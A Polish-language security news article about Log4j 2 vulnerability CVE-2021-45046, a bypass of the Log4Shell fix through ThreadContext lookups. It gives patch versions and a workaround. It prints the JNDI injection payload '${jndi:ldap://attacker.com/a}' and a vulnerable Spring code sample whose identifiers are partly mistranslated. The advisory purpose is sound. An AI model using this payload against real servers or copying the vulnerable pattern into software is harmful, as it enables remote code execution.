Kolejna luka została zidentyfikowana w implementacji podstawień JNDI w bibliotece Log4j 2 (CVE-2021-45046), która występuje pomimo poprawek dodanych w wersji 2.15 i niezależnie od użycia ustawienia „log4j2.noFormatMsgLookup” do ochrony. Problem jest niebezpieczny głównie dla starszych wersji Log4j 2, chronionych flagą „noFormatMsgLookup”, gdyż pozwala ona na ominięcie zabezpieczenia przed wcześniejszą podatnością (Log4Shell, CVE-2021-44228) pozwalającą na wykonanie kodu na serwer. Dla użytkowników wersji 2.15 eksploatacja ogranicza się do stworzenia warunków do awarii aplikacji na skutek wyczerpania dostępnych zasobów.
Luka występuje tylko w systemach, które do rejestrowania korzystają z wyszukiwań kontekstowych, takich jak ${ctx:loginId} lub map kontekstowych wątków, takich jak %X, %mdc i %MDC. Działanie sprowadza się do stworzenia warunków wyprowadzania do logu danych zawierających podstawienia JNDI w przypadku korzystania z zapytań kontekstowych lub szablonów MDC w aplikacji, które definiują zasady formatowania wyjścia do logu.
Badacze z LunaSec zauważyli, że w przypadku wersji Log4j mniejszych niż 2.15 luka ta może zostać wykorzystana jako nowy wektor ataku Log4Shell, który prowadzi do wykonania kodu, jeśli podczas wyprowadzania danych do dziennika, do którego wprowadzane są dane zewnętrzne, używane są wyrażenia ThreadContext włączenie chroniące flagę „noMsgFormatLookups” lub szablon „%m{nolookups}”.
Obejście zabezpieczenia sprowadza się do tego, że zamiast bezpośredniego podstawienia „${jndi:ldap://attacker.com/a}” wyrażenie to zostaje zastąpione wartością zmiennej pośredniej stosowanej w regułach formatowania wyjścia do dziennik. Na przykład, jeśli podczas wyprowadzania danych do dziennika zostanie użyte zapytanie kontekstowe ${ctx:apiversion}, wówczas atak można przeprowadzić poprzez podstawienie danych „${jndi:ldap://attacker.com/a}” do wartość zapisana w zmiennej apiversion. Przykład kodu zawierającego lukę: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String indeks(@RequestHeader("X-Api-Version") String apiVersion) { // Wartość nagłówka HTTP "X-Api-Version" jest przekazywana do ThreadContext ThreadContext.put("apiversion" , wersja api); // Podczas wyprowadzania do dziennika zewnętrzna wartość apiversion zostanie przetworzona przy użyciu podstawienia ${ctx:apiversion} logger.info("Otrzymano żądanie wersji API"); return "Witaj, świecie!"; }
W Log4j 2.15 lukę można wykorzystać do przeprowadzania ataków DoS podczas przekazywania wartości do ThreadContext, co spowodowałoby zapętlenie wzorca formatowania wyjściowego.
Opublikowano aktualizacje 2.16 i 2.12.2 blokujące lukę. W gałęzi Log4j 2.16, oprócz poprawek zaimplementowanych w wersji 2.15 i powiązania zapytań JNDI LDAP z „localhost”, funkcjonalność JNDI jest domyślnie całkowicie wyłączona i usunięto obsługę wzorców podstawienia komunikatów. W ramach obejścia bezpieczeństwa sugeruje się usunięcie klasy JndiLookup ze ścieżki klas (np. „zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class”).
Pojawienie się poprawek w pakietach możesz śledzić na stronach dystrybucji (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) oraz producentów platform Java (GitHub, Docker, Oracle, vmWare, Broadcom i Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure itp.).
Źródło: opennet.ru